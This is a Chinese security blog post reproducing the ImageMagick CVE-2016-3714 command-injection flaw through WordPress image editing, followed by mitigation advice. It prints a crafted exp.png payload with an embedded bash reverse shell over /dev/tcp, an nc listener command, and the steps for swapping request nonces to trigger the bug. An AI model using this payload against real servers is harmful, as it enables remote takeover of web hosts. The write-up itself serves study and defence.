首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

CVE-2016-3714-ImageMagick 远程命令执行漏洞

欢迎关注:07v8论安全,技术干货等你来

这是07v8的第9篇技术文章,希望对你有用

CVE-2016-3714 - ImageMagick 远程命令执行漏洞

作者:@NewB1e

* 本文参与双dan投稿活动

前言

做题的时候搜到的ImageMagick的这个漏洞,在WordPress上能够导致远程执行,感觉很有趣~就自己参考着菊苣们的文章搭建环境测试了一下~

漏洞描述

ImageMagick是一款使用量很广的图片处理程序,很多厂商都调用了这个程序进行图片处理,包括图片的伸缩、切割、水印、格式转换等等。但近来有研究者发现,当用户传入一个包含『畸形内容』的图片的时候,就有可能触发命令注入漏洞。具体的分析已经在乌云(CVE-2016-3714 - ImageMagick 命令执行分析)上爆出来了,这里挂了我乌云知识库的链接,想了解详情的可以点进来~这里引用ricterz大佬的简要分析:“ImageMagick 在 MagickCore/constitute.c 的 ReadImage 函数中解析图片,如果图片地址是 https:// 开头的,即调用InvokeDelegate。

MagickCore/delegate.c 定义了委托,第 99 行定义了要执行的命令。最终 InvokeDelegate 调用ExternalDelegateCommand执行命令。也就是说,ImageMagick 在通过 MagickCore/constitute.c 的 ReadImage 函数中解析图片时,使用 system() 指令调用来处理 HTTPS 请求,而对用户传入的 shell 参数没有做好过滤,导致此漏洞形成。

这个漏洞影响ImageMagick 6.9.3-9以前是所有版本,包括 ubuntu 源中安装的 ImageMagick。而官方在 6.9.3-9 版本中对此漏洞没有进行完全的修复。

漏洞利用

利用条件

想利用这个漏洞,首先需要服务器安装php的imageick的扩展和imagemagick扩展(注意版本),然后需要有一个最先权限为author的账户()

利用方法

登录账号,发表一篇文章。需要添加媒体,通过编辑图片来触发这个漏洞。这里我们要准备好一个正常图片和一个exp.png,exp.png内容如下:

push graphic-context

viewbox 0 0 640 480

fill 'url(https://example.com/image.jpg"bash -i >& /dev/tcp/127.0.0.1/2333 0>&1")'

pop graphic-context

其中127.0.0.1为反弹到监听端口的服务器,监听端口为2333,这里的IP可以自己换。

然后上传图片:

编辑正常图片,edit origin,通过控制台获得正常图片的curl,在上面右键Copy as cURL

然后同样的步骤编辑exp.png,由于exp.png不是正常的图片,所以这里就只能拿到exp.png的 _ajax_nonce 和post_id去替换正常图片的处理ImageMagick的链接中的_ajax_nonce 和post_id,进而触发imagemagick的这个漏洞。

替换

回车

然后,在监听服务器上对2333端口监听:

nc -vv -l -p 2333

即可得到反弹的shell~

BUT~

由于自己折腾搭建的环境,用的WordPress-4.5.1和imagemagick-6.7.6-9,前后折腾了将近三天时间,本地和服务器都尝试了,但不知道什么原因,一直没有成功反弹shell。。。。(相当蛋疼)希望尝试成功的表哥可以和我交流一下经验,小弟不胜感激!!

漏洞修复

这里直接引用phith0n师傅的了~

关于这个漏洞影响ImageMagick 6.9.3-9以前是所有版本,包括ubuntu源中安装的ImageMagick。而官方在6.9.3-9版本中对漏洞进行了不完全的修复。所以,我们不能仅通过更新ImageMagick的版本来杜绝这个漏洞。

现在,我们可以通过如下两个方法来暂时规避漏洞:

处理图片前,先检查图片的 “magic bytes”,也就是图片头,如果图片头不是你想要的格式,那么就不调用ImageMagick处理图片。如果你是php用户,可以使用getimagesize函数来检查图片格式,而如果你是wordpress等web应用的使用者,可以暂时卸载ImageMagick,使用php自带的gd库来处理图片。

使用policy file来防御这个漏洞,这个文件默认位置在 /etc/ImageMagick/policy.xml ,我们通过配置如下的xml来禁止解析https等敏感操作:

07v8 Double-S说

本文作者在文中非常详细地阐述了ImageMagick远程命令执行漏洞、复现以及给出了修复建议,希望大家能有所收获,同时也希望更多白帽大佬进行复现作者没有成功之处,互相进步学习。

同时感谢作者NewB1e的分享,以及对07V8的支持,请继续关注!

更多干货,敬请关注

  • 发表于:
  • 原文链接http://kuaibao.qq.com/s/20180106G0IC9L00?refer=cp_1026
  • 腾讯「腾讯云开发者社区」是腾讯内容开放平台帐号(企鹅号)传播渠道之一,根据《腾讯内容开放平台服务协议》转载发布内容。
  • 如有侵权,请联系 cloudcommunity@tencent.com 删除。

扫码

添加站长 进交流群

领取专属 10元无门槛券

私享最新 技术干货

扫码加入开发者社群
领券